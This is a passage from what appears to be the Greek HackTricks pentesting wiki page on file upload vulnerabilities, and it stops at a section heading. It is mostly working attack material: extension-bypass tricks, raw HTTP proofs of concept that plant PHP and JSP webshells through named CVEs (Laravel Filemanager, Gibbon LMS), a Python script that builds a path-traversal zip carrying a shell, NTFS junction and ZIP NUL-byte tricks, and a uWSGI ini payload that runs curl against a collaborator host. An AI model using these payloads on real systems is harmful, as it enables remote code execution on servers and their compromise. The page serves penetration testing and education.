Μεταφόρτωση Αρχείων

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Γενική Μεθοδολογία Μεταφόρτωσης Αρχείων

Other useful extensions:

  • PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
  • Working in PHPv8: .php, .php4, .php5, .phtml_, .module_, .inc_, .hphp_, .ctp_
  • ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
  • Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
  • Coldfusion: .cfm, .cfml, .cfc, .dbm
  • Flash: .swf
  • Perl: .pl, .cgi
  • Erlang Yaws Web Server: .yaws

Παράκαμψη ελέγχων επεκτάσεων αρχείων

  1. Αν εφαρμόζονται, ελέγξτε τις προηγούμενες επεκτάσεις. Δοκιμάστε επίσης να τις χρησιμοποιήσετε με μερικά κεφαλαία γράμματα: pHp, .pHP5, .PhAr …
  2. Ελέγξτε προσθέτοντας μια έγκυρη επέκταση πριν από την επέκταση εκτέλεσης (χρησιμοποιήστε επίσης τις προηγούμενες επεκτάσεις):
  • file.png.php
  • file.png.Php5
  1. Δοκιμάστε να προσθέσετε ειδικούς χαρακτήρες στο τέλος. Μπορείτε να χρησιμοποιήσετε το Burp για να bruteforce όλους τους χαρακτήρες ascii και Unicode. (Σημείωση: μπορείτε επίσης να δοκιμάσετε να χρησιμοποιήσετε τις προηγουμένως αναφερθείσες επεκτάσεις)
  • file.php%20
  • file.php%0a
  • file.php%00
  • file.php%0d%0a
  • file.php/
  • file.php.\
  • file.
  • file.php….
  • file.pHp5….
  1. Προσπαθήστε να παρακάμψετε τις προστασίες παραπλανώντας τον parser επεκτάσεων στην πλευρά του server με τεχνικές όπως διπλασιασμός της επέκτασης ή προσθήκη junk δεδομένων (null bytes) μεταξύ επεκτάσεων. Μπορείτε επίσης να χρησιμοποιήσετε τις προηγούμενες επεκτάσεις για να δημιουργήσετε ένα καλύτερο payload.
  • file.png.php
  • file.png.pHp5
  • file.php#.png
  • file.php%00.png
  • file.php\x00.png
  • file.php%0a.png
  • file.php%0d%0a.png
  • file.phpJunk123png
  1. Προσθέστε ένα επιπλέον επίπεδο επεκτάσεων στην προηγούμενη δοκιμή:
  • file.png.jpg.php
  • file.php%00.png%00.jpg
  1. Δοκιμάστε να βάλετε την επέκταση εκτέλεσης πριν την έγκυρη επέκταση και ελπίστε ότι ο server είναι λανθασμένα ρυθμισμένος. (χρήσιμο για την εκμετάλλευση misconfigurations του Apache όπου οτιδήποτε με επέκταση .php, αλλά όχι απαραίτητα τελειώνει σε .php, θα εκτελέσει κώδικα):
  • ex: file.php.png
  1. Χρήση NTFS alternate data stream (ADS) στα Windows. Σε αυτή την περίπτωση, ένας χαρακτήρας “:” θα εισαχθεί μετά από μια απαγορευμένη επέκταση και πριν από μια επιτρεπτή. Ως αποτέλεσμα, ένα κενό αρχείο με την απαγορευμένη επέκταση θα δημιουργηθεί στον server (π.χ. “file.asax:.jpg”). Αυτό το αρχείο μπορεί να επεξεργαστεί αργότερα με άλλες τεχνικές, όπως η χρήση του short filename. Το μοτίβο “::$data” μπορεί επίσης να χρησιμοποιηθεί για να δημιουργήσει μη κενά αρχεία. Επομένως, η προσθήκη ενός χαρακτήρα τελείας μετά από αυτό το μοτίβο μπορεί επίσης να είναι χρήσιμη για να παρακαμφθούν περαιτέρω περιορισμοί (π.χ. “file.asp::$data.”)
  2. Προσπαθήστε να σπάσετε τα όρια μήκους του ονόματος αρχείου. Η έγκυρη επέκταση κόβεται. Και το κακόβουλο PHP παραμένει. AAA<–SNIP–>AAA.php
# Linux maximum 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
# Upload the file and check response how many characters it alllows. Let's say 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Make the payload
AAA<--SNIP 232 A-->AAA.php.png

UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) – CVE-2024-21546

Some upload handlers trim or normalize trailing dot characters from the saved filename. In UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) versions before 2.9.1, you can bypass extension validation by:

  • Using a valid image MIME and magic header (e.g., PNG’s \x89PNG\r\n\x1a\n).
  • Naming the uploaded file with a PHP extension followed by a dot, e.g., shell.php..
  • The server strips the trailing dot and persists shell.php, which will execute if it’s placed in a web-served directory (default public storage like /storage/files/).

Minimal PoC (Burp Repeater):

POST /profile/avatar HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="upload"; filename="0xdf.php."
Content-Type: image/png

\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
------WebKitFormBoundary--

Στη συνέχεια, προσπελάστε το αποθηκευμένο path (τυπικό σε Laravel + LFM):

GET /storage/files/0xdf.php?cmd=id

Παράκαμψη Content-Type, Magic Number, Συμπίεσης & Αλλαγής μεγέθους

  • Παρακάμψτε τους ελέγχους Content-Type θέτοντας την τιμή της κεφαλίδας Content-Type σε: image/png , text/plain , application/octet-stream
  1. Content-Type wordlist: https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt
  • Παρακάμψτε τον έλεγχο magic number προσθέτοντας στην αρχή του αρχείου τα bytes of a real image (confuse the file command). Or introduce the shell inside the metadata:
    exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
    \ or you could also introduce the payload directly in an image:
    echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
  • Εάν προστίθεται συμπίεση στην εικόνα σας, για παράδειγμα χρησιμοποιώντας κάποια από τις standard PHP libraries όπως PHP-GD, οι προηγούμενες τεχνικές μπορεί να μην είναι χρήσιμες. Ωστόσο, μπορείτε να χρησιμοποιήσετε το PLTE chunk technique defined here για να εισάγετε κάποιο κείμενο που θα επιβιώσει τη συμπίεση.
  • Github with the code
  • Η ιστοσελίδα μπορεί επίσης να αλλάζει το μέγεθος της image, χρησιμοποιώντας για παράδειγμα τις PHP-GD συναρτήσεις imagecopyresized ή imagecopyresampled. Ωστόσο, μπορείτε να χρησιμοποιήσετε το IDAT chunk technique defined here για να εισάγετε κάποιο κείμενο που θα επιβιώσει τη συμπίεση.
  • Github with the code
  • Μια άλλη τεχνική για να φτιάξετε ένα payload που επιβιώνει την αλλαγή μεγέθους εικόνας, χρησιμοποιώντας τη PHP-GD συνάρτηση thumbnailImage. Ωστόσο, μπορείτε να χρησιμοποιήσετε το tEXt chunk technique defined here για να εισάγετε κάποιο κείμενο που θα επιβιώσει τη συμπίεση.
  • Github with the code

Άλλα κόλπα για έλεγχο

  • Βρείτε μια ευπάθεια που να επιτρέπει το rename του ήδη ανεβασμένου αρχείου (για να αλλάξετε την κατάληξη).
  • Εντοπίστε μια ευπάθεια Local File Inclusion για να εκτελέσετε το backdoor.
  • Ενδεχόμενη αποκάλυψη πληροφοριών:
  1. Ανεβάστε πολλές φορές (και ταυτόχρονα) το ίδιο αρχείο με το ίδιο όνομα
  2. Ανεβάστε ένα αρχείο με το όνομα ενός αρχείου ή φακέλου που υπάρχει ήδη
  3. Ανέβασμα αρχείου με “.” , “..”, or “…” ως όνομα. Για παράδειγμα, σε Apache σε Windows, αν η εφαρμογή αποθηκεύει τα ανεβασμένα αρχεία στο “/www/uploads/” directory, το όνομα αρχείου “.” θα δημιουργήσει ένα αρχείο called uploads” στο “/www/” directory.
  4. Ανεβάστε ένα αρχείο που μπορεί να μην διαγραφεί εύκολα, όπως “…:.jpg” σε NTFS. (Windows)
  5. Ανεβάστε ένα αρχείο σε Windows με μη έγκυρους χαρακτήρες όπως |<>*?” στο όνομά του. (Windows)
  6. Ανεβάστε ένα αρχείο σε Windows χρησιμοποιώντας reserved (forbidden) names όπως CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9.
  • Δοκιμάστε επίσης να ανεβάσετε εκτελέσιμο (.exe) ή ένα .html (λιγότερο ύποπτο) που θα εκτελέσει κώδικα όταν ανοιχτεί κατά λάθος από το θύμα.

Special extension tricks

If you are trying to upload files to a PHP server, take a look at the .htaccess trick to execute code.
If you are trying to upload files to an ASP server, take a look at the .config trick to execute code.

The .phar files are like the .jar for java, but for php, and can be used like a php file (executing it with php, or including it inside a script…)

The .inc extension is sometimes used for php files that are only used to import files, so, at some point, someone could have allow this extension to be executed.

Jetty RCE

If you can upload a XML file into a Jetty server you can obtain RCE because **new .xml and .war are automatically processed. So, as mentioned in the following image, upload the XML file to $JETTY_BASE/webapps/ and expect the shell!

https://twitter.com/ptswarm/status/1555184661751648256/photo/1

uWSGI RCE

For a detailed exploration of this vulnerability check the original research: uWSGI RCE Exploitation.

Remote Command Execution (RCE) vulnerabilities can be exploited in uWSGI servers if one has the capability to modify the .ini configuration file. uWSGI configuration files leverage a specific syntax to incorporate “magic” variables, placeholders, and operators. Notably, the ‘@’ operator, utilized as @(filename), is designed to include the contents of a file. Among the various supported schemes in uWSGI, the “exec” scheme is particularly potent, allowing the reading of data from a process’s standard output. This feature can be manipulated for nefarious purposes such as Remote Command Execution or Arbitrary File Write/Read when a .ini configuration file is processed.

Εξετάστε το ακόλουθο παράδειγμα ενός επικίνδυνου uwsgi.ini αρχείου, που παρουσιάζει διάφορα σχήματα:

[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)

Η εκτέλεση του payload συμβαίνει κατά την ανάλυση του αρχείου διαμόρφωσης. Για να ενεργοποιηθεί και να αναλυθεί η διαμόρφωση, η διεργασία uWSGI πρέπει είτε να επανεκκινηθεί (πιθανώς μετά από crash ή λόγω μιας Denial of Service επίθεσης) είτε το αρχείο να έχει ρυθμιστεί σε auto-reload. Η δυνατότητα auto-reload, αν είναι ενεργοποιημένη, επαναφορτώνει το αρχείο σε καθορισμένα διαστήματα όταν εντοπίζει αλλαγές.

Είναι κρίσιμο να κατανοήσουμε τη χαλαρή φύση της ανάλυσης αρχείων διαμόρφωσης του uWSGI. Συγκεκριμένα, το payload που περιγράφηκε μπορεί να εισαχθεί σε ένα binary αρχείο (όπως μια εικόνα ή PDF), διευρύνοντας περαιτέρω το πεδίο πιθανής εκμετάλλευσης.

Gibbon LMS arbitrary file write to pre-auth RCE (CVE-2023-45878)

Unauthenticated endpoint in Gibbon LMS allows arbitrary file write inside the web root, leading to pre-auth RCE by dropping a PHP file. Vulnerable versions: up to and including 25.0.01.

  • Endpoint: /Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php
  • Method: POST
  • Required params:
  • img: data-URI-like string: [mime];[name],[base64] (ο διακομιστής αγνοεί type/name, κάνει base64-decode στο υπόλοιπο)
  • path: destination filename relative to Gibbon install dir (π.χ., poc.php ή 0xdf.php)
  • gibbonPersonID: οποιαδήποτε μη-κενή τιμή γίνεται αποδεκτή (π.χ., 0000000001)

Minimal PoC to write and read back a file:

# Prepare test payload
printf '0xdf was here!' | base64
# => MHhkZiB3YXMgaGVyZSEK

# Write poc.php via unauth POST
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;test,MHhkZiB3YXMgaGVyZSEK&path=poc.php&gibbonPersonID=0000000001'

# Verify write
curl http://target/Gibbon-LMS/poc.php

Ανέβασε ένα ελάχιστο webshell και εκτέλεσε εντολές:

# '<?php system($_GET["cmd"]); ?>' base64
# PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==

curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;foo,PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==&path=shell.php&gibbonPersonID=0000000001'

curl 'http://target/Gibbon-LMS/shell.php?cmd=whoami'

Σημειώσεις:

  • Ο handler εκτελεί base64_decode($_POST["img"]) μετά το split με ; και ,, και στη συνέχεια γράφει bytes στο $absolutePath . '/' . $_POST['path'] χωρίς να ελέγχει extension/type.
  • Ο κώδικας που προκύπτει τρέχει ως ο χρήστης της web service (π.χ., XAMPP Apache on Windows).

Αναφορές για αυτό το bug περιλαμβάνουν το usd HeroLab advisory και την NVD entry. Δείτε την ενότητα References παρακάτω.

wget File Upload/SSRF Trick

Σε ορισμένες περιπτώσεις μπορεί να διαπιστώσετε ότι ένας server χρησιμοποιεί wget για download files και μπορείτε να indicate το URL. Σε αυτές τις περιπτώσεις, ο κώδικας μπορεί να ελέγχει ότι η επέκταση των downloaded files περιλαμβάνεται σε μια whitelist για να εξασφαλίσει ότι μόνο επιτρεπτά αρχεία θα κατεβούν. Ωστόσο, αυτός ο έλεγχος μπορεί να παρακαμφθεί.
Το μέγιστο μήκος ενός filename σε linux είναι 255, ωστόσο, το wget περικόπτει τα filenames στα 236 characters. Μπορείτε να download a file called “A”*232+“.php”+“.gif”, αυτό το filename θα bypass τον έλεγχο (καθώς σε αυτό το παράδειγμα “.gif” είναι μια valid επέκταση) αλλά το wget θα rename το αρχείο σε “A”*232+“.php”.

#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06--  http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’

AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>]      10  --.-KB/s    in 0s

2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]

Σημειώστε ότι μια άλλη επιλογή που ίσως σκέφτεστε για να παρακάμψετε αυτόν τον έλεγχο είναι να κάνετε τον HTTP server να κάνει redirect σε διαφορετικό αρχείο, έτσι το αρχικό URL θα παρακάμψει τον έλεγχο αλλά στη συνέχεια το wget θα κατεβάσει το ανακατευθυνόμενο αρχείο με το νέο όνομα. Αυτό δεν θα δουλέψει εκτός αν το wget χρησιμοποιείται με την παράμετρο --trust-server-names επειδή το wget θα κατεβάσει τη σελίδα στην ανακατεύθυνση με το όνομα του αρχείου που υποδεικνύεται στο αρχικό URL.

Απόδραση από τον κατάλογο ανεβάσματος μέσω NTFS junctions (Windows)

(Για αυτή την επίθεση θα χρειαστείτε τοπική πρόσβαση στη μηχανή Windows) Όταν τα uploads αποθηκεύονται σε υποφακέλους ανά χρήστη στα Windows (π.χ., C:\Windows\Tasks\Uploads<id>) και ελέγχετε τη δημιουργία/διαγραφή αυτού του υποφακέλου, μπορείτε να τον αντικαταστήσετε με ένα directory junction που δείχνει σε μια ευαίσθητη τοποθεσία (π.χ., το webroot). Τα επόμενα uploads θα γραφτούν στο στόχο path, επιτρέποντας εκτέλεση κώδικα αν ο στόχος ερμηνεύει server‑side code.

Παράδειγμα ροής για την ανακατεύθυνση των uploads στο XAMPP webroot:

:: 1) Upload once to learn/confirm your per-user folder name (e.g., md5 of form fields)
::    Observe it on disk: C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882

:: 2) Remove the created folder and create a junction to webroot
rmdir C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882
cmd /c mklink /J C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882 C:\xampp\htdocs

:: 3) Re-upload your payload; it lands under C:\xampp\htdocs
::    Minimal PHP webshell for testing
::    <?php echo shell_exec($_REQUEST['cmd']); ?>

:: 4) Trigger
curl "http://TARGET/shell.php?cmd=whoami"

Notes

  • mklink /J creates an NTFS directory junction (reparse point). Ο λογαριασμός του web server πρέπει να ακολουθεί το junction και να έχει δικαίωμα εγγραφής στον προορισμό.
  • This redirects arbitrary file writes; αν ο προορισμός εκτελεί scripts (PHP/ASP), αυτό γίνεται RCE.
  • Μέτρα άμυνας: μην επιτρέπετε writable upload roots να είναι attacker‑controllable κάτω από C:\Windows\Tasks ή παρόμοια; block junction creation; validate extensions server‑side; αποθηκεύετε uploads σε ξεχωριστό volume ή με deny‑execute ACLs.

GZIP-compressed body upload + path traversal in destination param → JSP webshell RCE (Tomcat)

Ορισμένοι upload/ingest handlers γράφουν το raw request body σε ένα filesystem path που κατασκευάζεται από user-controlled query parameters. Εάν ο handler υποστηρίζει επίσης Content-Encoding: gzip και αποτυγχάνει να canonicalize/validate το destination path, μπορείτε να συνδυάσετε directory traversal με ένα gzipped payload για να γράψετε arbitrary bytes σε έναν web-served directory και να αποκτήσετε RCE (π.χ., να ρίξετε ένα JSP κάτω από τα Tomcat’s webapps).

Γενική ροή εκμετάλλευσης:

  • Prepare your server-side payload (π.χ., minimal JSP webshell) και gzip-compress τα bytes.
  • Στείλτε ένα POST όπου μια path parameter (π.χ., token) περιέχει traversal που ξεφεύγει από τον προοριζόμενο φάκελο, και το file δηλώνει το filename που θα αποθηκευτεί. Set Content-Type: application/octet-stream και Content-Encoding: gzip; το body είναι το compressed payload.
  • Περιηγηθείτε στο γραμμένο αρχείο για να ενεργοποιήσετε την εκτέλεση.

Illustrative request:

POST /fileupload?token=..%2f..%2f..%2f..%2fopt%2ftomcat%2fwebapps%2fROOT%2Fjsp%2F&file=shell.jsp HTTP/1.1
Host: target
Content-Type: application/octet-stream
Content-Encoding: gzip
Content-Length: <len>

<gzip-compressed-bytes-of-your-jsp>

Στη συνέχεια ενεργοποίησε:

GET /jsp/shell.jsp?cmd=id HTTP/1.1
Host: target

Σημειώσεις

  • Οι προορισμοί διαδρομών διαφέρουν ανά εγκατάσταση (π.χ., /opt/TRUfusion/web/tomcat/webapps/trufusionPortal/jsp/ σε μερικά stacks). Οποιοσδήποτε web-exposed φάκελος που εκτελεί JSP θα δουλέψει.
  • Burp Suite’s Hackvertor extension μπορεί να παράγει ένα σωστό gzip body από το payload σου.
  • Αυτό είναι ένα καθαρό pre-auth arbitrary file write → RCE pattern· δεν βασίζεται σε multipart parsing.

Mitigations

  • Καθορίστε τους upload destinations server-side· μην εμπιστεύεστε ποτέ path fragments από τους clients.
  • Κανoνικοποιήστε και επιβάλετε ότι η επιλυμένη διαδρομή παραμένει εντός ενός allow-listed base directory.
  • Αποθηκεύστε τα uploads σε έναν non-executable volume και απαγορέψτε την εκτέλεση scripts από writable paths.

Tools

  • Upload Bypass is a powerful tool designed to assist Pentesters and Bug Hunters in testing file upload mechanisms. It leverages various bug bounty techniques to simplify the process of identifying and exploiting vulnerabilities, ensuring thorough assessments of web applications.

Corrupting upload indices with snprintf quirks (historical)

Μερικοί legacy upload handlers που χρησιμοποιούν snprintf() ή παρόμοιες συναρτήσεις για να χτίσουν multi-file arrays από ένα single-file upload μπορούν να παραπλανηθούν ώστε να πλαστογραφήσουν τη δομή _FILES. Λόγω ασυνεπειών και truncation στη συμπεριφορά της snprintf(), ένα καλά κατασκευασμένο single upload μπορεί να εμφανιστεί ως πολλαπλά indexed files στην πλευρά του server, μπερδεύοντας λογική που υποθέτει ένα συγκεκριμένο σχήμα (π.χ., το χειρίζεται ως multi-file upload και παίρνει unsafe branches). Αν και σπάνιο σήμερα, αυτό το “index corruption” pattern περιστασιακά ξαναεμφανίζεται σε CTFs και παλιότερα codebases.

From File upload to other vulnerabilities

Here’s a top 10 list of things that you can achieve by uploading (from here):

  1. ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
  2. SVG: Stored XSS / SSRF / XXE
  3. GIF: Stored XSS / SSRF
  4. CSV: CSV injection
  5. XML: XXE
  6. AVI: LFI / SSRF
  7. HTML / JS : HTML injection / XSS / Open redirect
  8. PNG / JPEG: Pixel flood attack (DoS)
  9. ZIP: RCE via LFI / DoS
  10. PDF / PPTX: SSRF / BLIND XXE

Burp Extension

GitHub - PortSwigger/upload-scanner: HTTP file upload scanner for Burp Proxy

Μαγικά Bytes Επικεφαλίδας

  • PNG: "\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["
  • JPG: "\xff\xd8\xff"

Refer to https://en.wikipedia.org/wiki/List_of_file_signatures for other filetypes.

Zip/Tar File Automatically decompressed Upload

If you can upload a ZIP that is going to be decompressed inside the server, you can do 2 things:

Ανεβάστε ένα archive που περιέχει soft links προς άλλα αρχεία, και μετά, προσπελάζοντας τα αποσυμπιεσμένα αρχεία, θα προσπελάσετε τα linked αρχεία:

ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt

Αποσυμπίεση σε διαφορετικούς φακέλους

Η απρόβλεπτη δημιουργία αρχείων σε φακέλους κατά την αποσυμπίεση αποτελεί σημαντικό πρόβλημα. Παρά τις αρχικές υποθέσεις ότι αυτή η ρύθμιση μπορεί να προστατεύει από OS-level command execution μέσω malicious file uploads, η υποστήριξη ιεραρχικής συμπίεσης και οι δυνατότητες directory traversal του ZIP archive format μπορούν να εκμεταλλευθούν. Αυτό επιτρέπει σε attackers να παρακάμψουν περιορισμούς και να διαφύγουν από secure upload directories χειραγωγώντας τη λειτουργία αποσυμπίεσης της εφαρμογής-στόχου.

Υπάρχει διαθέσιμο ένα automated exploit για τη δημιουργία τέτοιων αρχείων στο evilarc on GitHub. Το utility μπορεί να χρησιμοποιηθεί όπως παρακάτω:

# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php

Επιπλέον, το symlink trick with evilarc είναι μια επιλογή. Αν ο στόχος είναι να στοχεύσετε ένα αρχείο όπως το /flag.txt, θα πρέπει να δημιουργήσετε έναν symlink προς αυτό το αρχείο στο σύστημά σας. Αυτό διασφαλίζει ότι το evilarc δεν θα αντιμετωπίσει σφάλματα κατά τη λειτουργία του.

Παρακάτω υπάρχει ένα παράδειγμα κώδικα Python που χρησιμοποιείται για να δημιουργήσει ένα κακόβουλο zip αρχείο:

#!/usr/bin/python
import zipfile
from io import BytesIO


def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()

create_zip()

Κατάχρηση συμπίεσης για file spraying

Για περισσότερες λεπτομέρειες δείτε το αρχικό post στο: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/

  1. Creating a PHP Shell: Ο κώδικας PHP γράφεται για να εκτελεί εντολές που δίνονται μέσω της μεταβλητής $_REQUEST.
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
  1. File Spraying and Compressed File Creation: Δημιουργούνται πολλά αρχεία και συναρμολογείται ένα zip αρχείο που τα περιέχει.
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
  1. Modification with a Hex Editor or vi: Τα ονόματα των αρχείων μέσα στο zip τροποποιούνται χρησιμοποιώντας vi ή έναν hex editor, αλλάζοντας το “xxA” σε “../” για διάσχιση φακέλων.
:set modifiable
:%s/xxA/../g
:x!

ZIP NUL-byte filename smuggling (PHP ZipArchive confusion)

Όταν ένα backend επικυρώνει τις εγγραφές ZIP χρησιμοποιώντας το ZipArchive της PHP αλλά η εξαγωγή γράφει στο filesystem χρησιμοποιώντας τα ακατέργαστα ονόματα, μπορείτε να περάσετε μια μη επιτρεπτή επέκταση εισάγοντας ένα NUL (0x00) στα πεδία ονόματος αρχείου. Το ZipArchive αντιμετωπίζει το όνομα της εγγραφής ως C‑string και το περικόπτει στο πρώτο NUL· το filesystem γράφει το πλήρες όνομα, αποκόπτοντας ό,τι έπεται του NUL.

High-level flow:

  • Ετοιμάστε ένα νόμιμο container αρχείο (π.χ. ένα έγκυρο PDF) που ενσωματώνει ένα μικρό PHP stub σε ένα stream ώστε το magic/MIME να παραμένει PDF.
  • Ονομάστε το π.χ. shell.php..pdf, zipάρετέ το, και στη συνέχεια hex‑edit το ZIP local header και το central directory filename για να αντικαταστήσετε την πρώτη . μετά το .php με 0x00, με αποτέλεσμα shell.php\x00.pdf.
  • Οι validators που βασίζονται στο ZipArchive θα «δουν» shell.php .pdf και θα το επιτρέψουν· ο extractor γράφει shell.php στο δίσκο, οδηγώντας σε RCE αν ο φάκελος upload είναι εκτελέσιμος.

Minimal PoC steps:

# 1) Build a polyglot PDF containing a tiny webshell (still a valid PDF)
printf '%s' "%PDF-1.3\n1 0 obj<<>>stream\n<?php system($_REQUEST["cmd"]); ?>\nendstream\nendobj\n%%EOF" > embedded.pdf

# 2) Trick name and zip
cp embedded.pdf shell.php..pdf
zip null.zip shell.php..pdf

# 3) Hex-edit both the local header and central directory filename fields
#    Replace the dot right after ".php" with 00 (NUL) => shell.php\x00.pdf
#    Tools: hexcurse, bless, bvi, wxHexEditor, etc.

# 4) Local validation behavior
php -r '$z=new ZipArchive; $z->open("null.zip"); echo $z->getNameIndex(0),"\n";'
# -> shows truncated at NUL (looks like ".pdf" suffix)

Σημειώσεις

  • Αλλάξτε ΚΑΙ ΤΙΣ ΔΥΟ εμφανίσεις του ονόματος αρχείου (local and central directory). Κάποια εργαλεία προσθέτουν και μια επιπλέον data descriptor εγγραφή — προσαρμόστε όλα τα πεδία name εάν υπάρχουν.
  • Το payload αρχείο πρέπει να περνάει ακόμη το server‑side magic/MIME sniffing. Ενσωμάτωση του PHP σε ένα PDF stream κρατάει το header έγκυρο.
  • Λειτουργεί σε περιπτώσεις όπου το enum/validation path και το extraction/write path διαφωνούν στον χειρισμό συμβολοσειρών.

Στοιβαγμένα/συγκολλημένα ZIPs (parser disagreement)

